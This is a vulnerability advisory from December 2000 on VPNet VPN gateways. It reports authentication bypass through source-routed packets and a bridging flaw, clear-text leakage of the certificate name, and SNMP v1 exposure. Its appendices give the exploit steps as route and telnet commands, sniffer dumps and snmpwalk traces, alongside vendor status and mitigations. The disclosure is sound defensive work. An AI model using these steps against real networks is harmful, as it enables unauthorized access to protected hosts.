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Home : Advisories : Circumventing Authentication in ALL VPNet VPN Devices

Title: Circumventing Authentication in ALL VPNet VPN Devices
Released by: Fate Research Labs
Date: 5th December 2000
Printable version: Click here
    -----------------.---------------------------------------------.

  /|                 |                             .               |

 / | :               : :             : :             :             |

|  | ::        ------  ::            : ::          | ::     -      |-----

|  | ::              : ::     .      :      |      | ::            :     |

|  |                 :        .      |------|      |               :     |

|  |           ------^        :      |     /       |                     .

|  ;----------"---------------^------     /  ------'---------------------

| /          /               /      /----'        /                     /

|'----------'---------------'------'     --------'---------------------'

                                www.f8labs.com











[ INTRODUCTION ]



Advisory .........: VPNet Technologies - Problems in all VSU VPN

                    Service Units

                    1. Source routing flaw in VSU allows for

                    unauthenticated connections to a target

                    host on protected LAN of VPN.

                    2. Flaw in NOS bridging code causes VSU to

                    pass spoofed private address packets from

                    it's public interface to the private network.

Release Date .....: 12-05-00

Application ......: VPN Service Units (VSU)

Vendor Web Site ..: www.vpnet.com (vpnet bad cow)

Versions Affected.: All VSUs

                    VSU-100

                    VSU-2000

                    VSU-5000

                    VSU-7500

                    And all versions of the VPNRemote Software < = 3.0.20

Vendor Status ....: Contacted / Patched NOS available for download

WWW ..............: www.fatelabs.com







[ OVERVIEW ]



VPNRemote Software

VPNremote is a Windows® compatible software product that

provides secure authenticated access to enterprise network

resources and applications over the Internet. As a building

block of the VPNware System, VPNremote enables enterprises

to leverage the global access and low cost of public networks

for their remote access users. Using standards-based IPSec

technology, VPNremote extends the integrity and

confidentiality of data traveling outside of enterprise

networks by providing encryption, compression, and authentication.



VPNwareT VPN Service Units (VSUs)

VSU's are dedicated, hardware-based VPN gateways that

enable secure data communications over public IP networks

such as the Internet. As a building block of the VPNware

System, VSUs provide standards-based IPSec services that

enable organizations to securely connect remote users,

branch offices, partners, and customers to enterprise networks.

VSUs provide unmatched levels of performance, manageability,

and security that allow organizations of all sizes to take

full advantage of the cost savings, productivity, and business

relationship-enhancing benefits of virtual private networks.



VSUs give you the confidence to run your business-critical

data and applications across public IP networks. How? By

delivering IPSec 3DES encryption, data integrity and

authentication, and key management. VSUs support a range

of two-factor user authentication methods -- RADIUS servers,

RSA SecurIDT tokens, SmartCards, and digital

certificates -- so you can be sure of who's accessing your VPN.



All VSUs offer additional robustness via resilient VPN

tunneling. VSUs continually sense endpoint availability

and automatically transition tunnels to a secondary VSU

in the event of a data link failure. The VSU-7500 offers

an additional level of fault tolerance by providing

high-availability hardware features such as redundant

Ethernet interfaces, IPSec processors, power supplies,

and cooling fans. The complete VSU series are delivered in

tamper-evident enclosures that meet the FIPS 140-1 Level

2 standard.







[ ADVISORY ]







PROBLEM 1a: Remote Attack





By sending SOURCE ROUTED packets to the target VSU,

it is possible to force the VSU to forward unauthorized

traffic from the public interface on the VSU to any

host on the protected network.



This is done WITHOUT exchanging keys, without providing a

username/pass, or any other authentication at all. It is

a design-flaw in the VSU NOS where the TCP stack accepts

and forwards SOURCE ROUTED packets.



In the beginning, we noticed that the VSU would forward

ICMP packets to its private NIC. We then wanted to see

if it would forward ICMP packets to a host on the

protected (priv) network. Our theory was correct.



Wanting to take this vulnerability further, we wanted to

see if it would also forward TCP packets to the target host

on the private network. Our theory again, was correct.



While demonstrating the exploit we wanted to put the VSU in

full blocking mode, which forces the VSU to drop all incoming

connections accept authorized VPN traffic. However, to our

surprise, we were still able to get both ICMP and TCP packets

to the remote target host behind the VSU. Wanting to see if

we could create actual telnet sessions with the remote host,

we used source routing and were amazed to find that it could

be done. The remote host was sending and routing packets back

to our machine while configured in full blocking mode.



Refer to Appendix B to review what was done to the target

machine, as well as packets we grabbed with a sniffer running

on the target host.







PROBLEM 1b: Local Attack



By adding an IP alias to the NIC card of the SOURCE HOST, an

IP belonging to the same segment of the private network on the

VSU, it is possible to bridge sessions THROUGH the VSU to a host

on the private network.



This attack is possible due to a flaw in the bridging code for

the VSU's NOS.



1. Add an IP alias to the NIC of the SOURCE HOST, e.g. 192.168.0.5

2. Add the necessary routes:

   [root@moo /]# route add -net 192.168.0.0/16 gw 192.168.0.5

3. Check connectivity:



   [root@moo /]# ping 192.168.0.3

   PING 192.168.0.3 (192.168.0.3) from 192.168.0.5 : 56(84) bytes of data.

   64 bytes from 192.168.0.3: icmp_seq=0 ttl=255 time=0.7 ms

   64 bytes from 192.168.0.3: icmp_seq=1 ttl=255 time=0.6 ms

   64 bytes from 192.168.0.3: icmp_seq=2 ttl=255 time=0.6 ms



   --- 192.168.0.3 ping statistics ---

   3 packets transmitted, 3 packets received, 0% packet loss

   round-trip min/avg/max = 0.6/0.6/0.7 ms



   /* Eww la la */



   [root@moo /]#





PROBLEM 2:



VPNet has a VPN client called VPNRemote, which

uses SSL encryption to negotiate connections with the VSU.

However, the VSU responds back in clear text containing the VSU

Certificate name, as well as the company address and location.

This Certificate name is used prior to connecting to the VSU

and required before starting the authentication process. So this

of course is the missing key in being able to start a brute

force session against the VSU or even open a connection.

We have provided simple steps in receiving this for a further

attack on the VSU in APPENDIX A. See below.





PROBLEM 3:



Our team would like to place emphasis on the fact that VPNet

devices utilize SNMP v1. Since it's inception, problems in clear

text and numerous other problems associated with v1 have caused

its developers to create version2 and now 3. Because of the

inherent security problems with v1 of SNMP, it is advised that

administrators disable it where possible until VPNet upgrades

it's NOS to support v2 or 3. See APPENDIX C for SNMP packet traces.



By brute forcing the community string on the VSU's

(default set to PUBLIC), it is possible to utilize the read-only

information from SNMP to retrieve the private IP network information

of the target VSU. This is the preliminary information needed

in the source-routed attack on the vsu. Such SNMP information

will provide IP information of the protected segment in the VPN.





[ CONCLUSION ]





SOURCE ROUTE ISSUES: VPNet has responded to the source-routed

sessions issue and has created a patch for the NOS. However,

VPNet does not wish to have this patch available to the public

domain, rather, built into the next release of 3.X. Fate

Research Labs is astonished by VPNet's response and recommend

that users take an immediate course of action to protect their

networks against this attack. We suggest proper network topology

design through the use of a Firewall as well as ensuring that

the DMZ is configured as a leg off the Firewall so that the local

exploit above can not be performed. Verify proper firewall rules

and ensure that the firewall denies off all incoming connections

accept that of required by the IKE negotiations and VPN

traffic to the VSU.



Source code has been created by Fate Research for use in a remote

attack outside of a lab environment, however, due to the severity

of this attack we have published a broken version of the program,

which can be found at http://www.fatelabs.com for proof of concept.

However, we recommend demonstrating this attack through the local

attack outlined above, (a lot less headache).



BRIDGING MODE ISSUES: VPNet has been notified of these bridging

issues. It is an inherent design flaw in their NOS that bridges

over incoming packets containing a SOURCE IP of the VSU's private network.

No patch or resolution has been made or identified as of this writing.



VPNet has also been made aware of the other issues surrounding

this advisory. They have patched them in their next NOS release.

Fate Research Labs has tested their patch against our attack and

it proves to be a successful fix. We do however recommend

that users contact their local VPNet office and complain about

their ridiculous notion to not make this patch readily available

to its customers. The VPNet web site is listed in the Resources section

of this advisory.







[ APPENDIX ]



APPENDIX A:



Go ahead and install the windows-based VPN client that VPNet

provides. Setup a new profile and put in any text you wish for

all of the required fields. After this you will want to put in

the IP address of the target VSU.



Go ahead and attempt your connection with a sniffer running in the

background. You should receive something similar to the following.



---------------------------- snip ---------------------------------



No:                 9

MAC source address: 18:43:11:270

MAC dest address:   00 D0 06 B7 DC 54

Frame:              00 00 21 EC 69 B0

Protocol:           IP

Source IP address:  TCP

Dest IP address:    XXX.XXX.XXX.XXX

Source port:        XXx.XXX.XXX.XXX

Destination port:   1443

SEQ:                3511

ACK:                2092418050

Packet size:        82361859



Packet data:

0000:  00 00 21 EC 69 B0 00 D0 06 B7 DC 54 08 00 45 00 ..!.i......T..E.

0010:  02 28 24 C1 00 00 32 06 66 95 40 A2 81 0B 18 E5 .($...2.f.@.....

0020:  20 E8 05 A3 0D B7 7C B7 C4 02 04 E8 BE 03 50 10  .....|.......P.

0030:  10 00 2B C2 00 00 16 03 00 00 4A 02 00 00 46 03 ..+.......J...F.

0040:  00 3A 01 99 8B 4D BA FC DD 02 CE BA 30 04 8D 9B .:...M......0...

0050:  F7 2E 5F F8 32 06 01 B3 D6 E0 03 79 F5 20 07 B9 .._.2......y. ..

0060:  E0 20 ED 8A A7 46 96 88 D4 EC D1 44 0E 00 92 10 . ...F.....D....

0070:  9B DA 94 F1 7C 65 36 B3 E0 C0 8E 9D 93 BB 41 6D ....|e6.......Am

0080:  33 B9 00 04 00 16 03 00 02 48 0B 00 02 44 00 02 3........H...D..

0090:  41 00 02 3E 30 82 02 3A 30 82 01 A3 02 02 20 61 A..>0..:0..... a

00A0:  30 0D 06 09 2A 86 48 86 F7 0D 01 01 04 05 00 30 0...*.H........0

00B0:  67 31 0B 30 09 06 03 55 04 06 13 02 55 53 31 0B g1.0...U....US1.

00C0:  30 09 06 03 55 04 08 13 02 43 41 31 11 30 0F 06 0...U....CA1.0..

00D0:  03 55 04 07 13 08 53 61 6E 20 4A 6F 73 65 31 21 .U....San Jose1!

00E0:  30 1F 06 03 55 04 0A 13 18 56 50 4E 65 74 20 54 0...U....VPNet T

00F0:  65 63 68 6E 6F 6C 6F 67 69 65 73 2C 20 49 6E 63 echnologies, Inc

0100:  2E 31 15 30 13 06 03 55 04 03 14 0C 56 50 4E 65 .1.0...U....VPNe

0110:  74 43 41 5F 37 5F 39 38 30 1E 17 0D 39 39 31 30 tCA_7_980...9910

0120:  32 32 30 33 33 31 33 33 5A 17 0D 30 39 31 30 31 22033133Z..09101

0130:  39 30 33 33 31 33 33 5A 30 63 31 0B 30 09 06 03 9033133Z0c1.0...

0140:  55 04 06 13 02 55 53 31 0B 30 09 06 03 55 04 08 U....US1.0...U..

0150:  13 02 43 41 31 11 30 0F 06 03 55 04 07 13 08 53 ..CA1.0...U....S

0160:  61 6E 20 4A 6F 73 65 31 21 30 1F 06 03 55 04 0A an Jose1!0...U..

0170:  13 18 56 50 4E 65 74 20 54 65 63 68 6E 6F 6C 6F ..VPNet Technolo

0180:  67 69 65 73 2C 20 49 6E 63 2E 31 11 30 0F 06 03 gies, Inc.1.0...

0190:  55 04 03 13 08 56 53 55 31 30 37 38 37 30 81 9F U....VSU107870..



/* <--- /* Here we have the valid certificate name */ ------ ^^^^^^^^^



01A0:  30 0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 0...*.H.........

01B0:  81 8D 00 30 81 89 02 81 81 00 EA 90 9D A9 04 17 ...0............

01C0:  81 F7 21 39 7A 1C 68 9B 14 D4 74 E4 79 89 B8 B1 ..!9z.h...t.y...

01D0:  ED 0E 1C 4D 30 06 AC 5F 9B F0 43 FE 75 9B 6D B2 ...M0.._..C.u.m.

01E0:  69 80 9B 20 3E 0D D4 EE 4A FC 01 D5 45 66 04 80 i.. >...J...Ef..

01F0:  91 E3 7A CD A2 75 81 DD ED CF A7 D2 EF 49 DE D7 ..z..u.......I..

0200:  09 6A 32 1B 9A 33 36 FE 14 83 8E EA 10 A6 0B 54 .j2..36........T

0210:  01 33 71 7D 9C C2 E1 9E B4 CC 50 94 E9 B0 F3 E1 .3q}......P.....

0220:  87 46 78 73 5B 4E 5E 60 CC 01 C8 C1 02 95 4D 1A .Fxs[N^`......M.

0230:  98 6E 81 FF A4 04                               .n....



---------------------------- snap ---------------------------------







APPENDIX B:



The below diagram was performed in a lab setup. There was no Internet

connectivity in the scenario. The exploit however has been successfully

performed across the Internet using SOURCE ROUTED sessions.





   ---- 192.168.1.1   192.168.1.2/192.168.2.1            192.168.2.2 ----

  | \/ |                      ------                                | \/ |

  | /\ | ------------------> |      | ----------------------------> | /\ |

   ----                       ------                                 ----

  ROUTER A                     VSU                                  ROUTER B





# telnet 192.16.8.2.2 /route: 192.168.1.2





# On a Windows Box:

1. Added IP alias to NIC Card, 192.168.2.3

2. Added a route:

   C:\> route add 192.168.2.0 MASK 255.255.255.0 192.168.1.2

                  ^ priv nic net   ^ class C     ^ pub nic of vsu

3. C:\>ping 192.168.2.2



   Pinging 192.168.2.2 with 32 bytes of data:



   Reply from 192.168.2.2: bytes=32 time<10ms TTL=255

   Reply from 192.168.2.2: bytes=32 time<10ms TTL=255

   Reply from 192.168.2.2: bytes=32 time<10ms TTL=255

   Reply from 192.168.2.2: bytes=32 time<10ms TTL=255



   Ping statistics for 192.168.2.2:

       Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

   Approximate round trip times in milli-seconds:

       Minimum = 0ms, Maximum =  0ms, Average =  0ms

4. C:\> telnet 192.168.2.2



   Red Hat Linux release 6.2 (Zoot)

   Kernel 2.2.14-5.0 on an i586

   login:





---------------------------- snip ---------------------------------





APPENDIX C:



loki.f8labs.com > ./snmpwalk -c public -d 

/* The -c 'public' is a switch used to specify the SNMP community string */



Received 59 bytes from XXX.XXX.XXX.XXX:161

0000: 30 82 00 37  02 01 00 04  07 62 6C 75  65 73 6B 79    0..7.....public

0016: A2 82 00 27  02 04 06 8E  2B 8E 02 01  00 02 01 00    ¢..'....+.......

0032: 30 82 00 17  30 82 00 13  06 0E 2B 06  01 02 01 07    0...0.....+.....

0048: 05 01 02 00  00 00 00 00  02 01 00                    ...........

udp.udpTable.udpEntry.udpLocalPort.0.0.0.0.0 = 0



/* Here you will see we received it back in clear text from the VSU-moo. */







Received 200 bytes from 64.162.129.11:161

0000: 30 82 00 C4  02 01 00 04  07 62 6C 75  65 73 6B 79    0..Ä.....public

0016: A2 82 00 B4  02 04 65 BD  3B 82 02 01  00 02 01 00    ¢..´..e½;.......

0032: 30 82 00 A4  30 82 00 A0  06 08 2B 06  01 02 01 01    0..¤0.....+.....

0048: 01 00 04 81  93 56 50 4E  65 74 20 53  65 72 76 69    .....VPNet Servi

0064: 63 65 20 55  6E 69 74 20  4D 6F 64 65  6C 20 30 30    ce Unit Model 00

0080: 31 30 28 41  64 76 61 6E  63 65 64 29  20 33 44 45    10(Advanced) 3DE

0096: 53 20 45 4E  43 52 59 50  54 49 4F 4E  20 20 28 53    S ENCRYPTION  (S

0112: 74 61 6E 64  61 72 64 29  2C 20 52 75  6E 74 69 6D    tandard), Runtim

0128: 65 20 73 79  73 74 65 6D  20 76 65 72  73 69 6F 6E    e system version

0144: 20 33 2E 30  2E 35 30 20  31 30 2F 35  2F 32 30 30     3.0.50 10/5/200

0160: 30 20 2C 20  52 75 6E 74  69 6D 65 20  6C 6F 61 64    0 , Runtime load

0176: 65 72 20 76  65 72 73 69  6F 6E 20 32  2E 30 61 20    er version 2.0a

0192: 33 2F 37 2F  32 30 30 30                              3/7/2000



---------------------------- snap ---------------------------------





[ RESOURCES ]



ucd-snmp

http://net-snmp.sourceforge.net



VPNet Technologies

http://www.vpnet.com



Fate Research Labs

http://www.fatelabs.com









================================================================

Fate Research Labs

loki@fatelabs.com

http://www.fatelabs.com

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"Blessed are the meek, for they shall inherit the earth.

 - Psalms 37:11

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